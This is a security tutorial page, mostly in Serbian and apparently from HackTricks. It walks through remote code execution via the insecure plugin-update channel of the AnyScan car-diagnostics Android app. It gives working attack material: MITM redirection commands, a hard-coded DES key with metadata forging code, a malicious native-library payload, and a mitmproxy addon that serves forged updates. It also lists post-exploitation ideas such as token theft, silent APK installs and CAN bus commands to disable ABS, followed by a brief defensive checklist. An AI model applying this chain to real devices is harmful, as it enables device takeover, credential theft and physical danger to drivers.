Insecure In-App Update Mechanisms – Remote Code Execution via Malicious Plugins

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Mnoge Android aplikacije implementiraju svoje “plugin” ili “dinamičke funkcije” kanale za ažuriranje umesto korišćenja Google Play prodavnice. Kada je implementacija nesigurna, napadač sposoban da presretne saobraćaj može da obezbedi arbitrarni nativni kod koji će biti učitan unutar procesa aplikacije, što dovodi do potpune Remote Code Execution (RCE) na uređaju – i u nekim slučajevima na bilo kom spoljnjem uređaju koji kontroliše aplikacija (automobili, IoT, medicinski uređaji …).

Ova stranica sumira lanac ranjivosti iz stvarnog sveta pronađen u Xtool AnyScan aplikaciji za dijagnostiku automobila (v4.40.11 → 4.40.40) i generalizuje tehniku kako biste mogli da auditujete druge Android aplikacije i iskoristite pogrešnu konfiguraciju tokom angažovanja red-tima.


1. Identifikacija nesigurnog TLS TrustManager-a

  1. Decompile-ujte APK sa jadx / apktool i locirajte mrežni stek (OkHttp, HttpUrlConnection, Retrofit…).
  2. Potražite prilagođeni TrustManager ili HostnameVerifier koji slepo veruje svakom sertifikatu:
java
public static TrustManager[] buildTrustManagers() {
return new TrustManager[]{
new X509TrustManager() {
public void checkClientTrusted(X509Certificate[] chain, String authType) {}
public void checkServerTrusted(X509Certificate[] chain, String authType) {}
public X509Certificate[] getAcceptedIssuers() {return new X509Certificate[]{};}
}
};
}
  1. Ako je prisutan, aplikacija će prihvatiti bilo koji TLS sertifikat → možete pokrenuti transparentni MITM proxy sa sertifikatom potpisanim od strane sebe:
bash
mitmproxy -p 8080 -s addon.py  # see §4
iptables -t nat -A OUTPUT -p tcp --dport 443 -j REDIRECT --to-ports 8080  # on rooted device / emulator

2. Obrnuto inženjerstvo metapodataka ažuriranja

U slučaju AnyScan, svaki pokretanje aplikacije pokreće HTTPS GET na:

https://apigw.xtoolconnect.com/uhdsvc/UpgradeService.asmx/GetUpdateListEx

Odgovor telo je XML dokument čiji <FileData> čvorovi sadrže Base64-enkodiran, DES-ECB enkriptovan JSON koji opisuje svaki dostupni plugin.

Tipični koraci u potrazi:

  1. Pronađite kripto rutinu (npr. RemoteServiceProxy) i povratite:
  • algoritam (DES / AES / RC4 …)
  • način rada (ECB / CBC / GCM …)
  • hard-kodirani ključ / IV (često 56-bitni DES ključevi ili 128-bitni AES ključevi u konstantama)
  1. Ponovno implementirajte funkciju u Python-u za dekriptovanje / enkriptovanje metapodataka:
python
from Crypto.Cipher import DES
from base64 import b64decode, b64encode

KEY = IV = b"\x2A\x10\x2A\x10\x2A\x10\x2A"  # 56-bit key observed in AnyScan

def decrypt_metadata(data_b64: str) -> bytes:
cipher = DES.new(KEY, DES.MODE_ECB)
return cipher.decrypt(b64decode(data_b64))

def encrypt_metadata(plaintext: bytes) -> str:
cipher = DES.new(KEY, DES.MODE_ECB)
return b64encode(cipher.encrypt(plaintext.ljust((len(plaintext)+7)//8*8, b"\x00"))).decode()

3. Napravite Zlonamerni Plugin

  1. Izaberite bilo koji legitimni plugin ZIP i zamenite nativnu biblioteku sa vašim payload-om:
c
// libscan_x64.so – constructor runs as soon as the library is loaded
__attribute__((constructor))
void init(void){
__android_log_print(ANDROID_LOG_INFO, "PWNED", "Exploit loaded! uid=%d", getuid());
// spawn reverse shell, drop file, etc.
}
bash
$ aarch64-linux-android-gcc -shared -fPIC payload.c -o libscan_x64.so
$ zip -r PWNED.zip libscan_x64.so assets/ meta.txt
  1. Ažurirajte JSON metapodatke tako da "FileName" : "PWNED.zip" i "DownloadURL" upućuje na vaš HTTP server.
  2. DES-enkripcija + Base64-enkodiranje izmenjenog JSON-a i kopiranje nazad unutar presretnutog XML-a.

4. Isporuka Payload-a sa mitmproxy

addon.py primer koji tiho menja originalne metapodatke:

python
from mitmproxy import http
MOD_XML = open("fake_metadata.xml", "rb").read()

def request(flow: http.HTTPFlow):
if b"/UpgradeService.asmx/GetUpdateListEx" in flow.request.path:
flow.response = http.Response.make(
200,
MOD_XML,
{"Content-Type": "text/xml"}
)

Pokrenite jednostavan veb server za hostovanje malicioznog ZIP-a:

bash
python3 -m http.server 8000 --directory ./payloads

Kada žrtva pokrene aplikaciju, ona će:

  • preuzeti naš lažirani XML preko MITM kanala;
  • dekriptovati i analizirati ga sa hard-kodiranim DES ključem;
  • preuzeti PWNED.zip → raspakovati unutar privatne memorije;
  • dlopen() uključeni libscan_x64.so, odmah izvršavajući naš kod sa dozvolama aplikacije (kamera, GPS, Bluetooth, sistem datoteka, …).

Pošto je dodatak keširan na disku, backdoor ostaje aktivan nakon ponovnog pokretanja i pokreće se svaki put kada korisnik odabere povezanu funkciju.

5. Ideje za post-eksploataciju

  • Ukrao sesijske kolačiće, OAuth tokene ili JWT-ove koje aplikacija čuva.
  • Ostaviti APK druge faze i tiho ga instalirati putem pm install (aplikacija već ima REQUEST_INSTALL_PACKAGES).
  • Zloupotrebiti bilo koji povezani hardver – u AnyScan scenariju možete slati proizvoljne OBD-II / CAN bus komande (otključavanje vrata, onemogućavanje ABS-a, itd.).

Lista za detekciju i ublažavanje (plavi tim)

  • NIKADA ne šaljite produkcijsku verziju sa prilagođenim TrustManager/HostnameVerifier koji onemogućava validaciju sertifikata.
  • Ne preuzimajte izvršni kod sa spolja, osim Google Play-a. Ako morate, potpišite svaki dodatak istim apkSigning v2 ključem i proverite potpis pre učitavanja.
  • Zamenite slabu/hard-kodiranu kriptografiju sa AES-GCM i rotirajućim ključem na serverskoj strani.
  • Validirajte integritet preuzetih arhiva (potpis ili barem SHA-256).

Reference

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks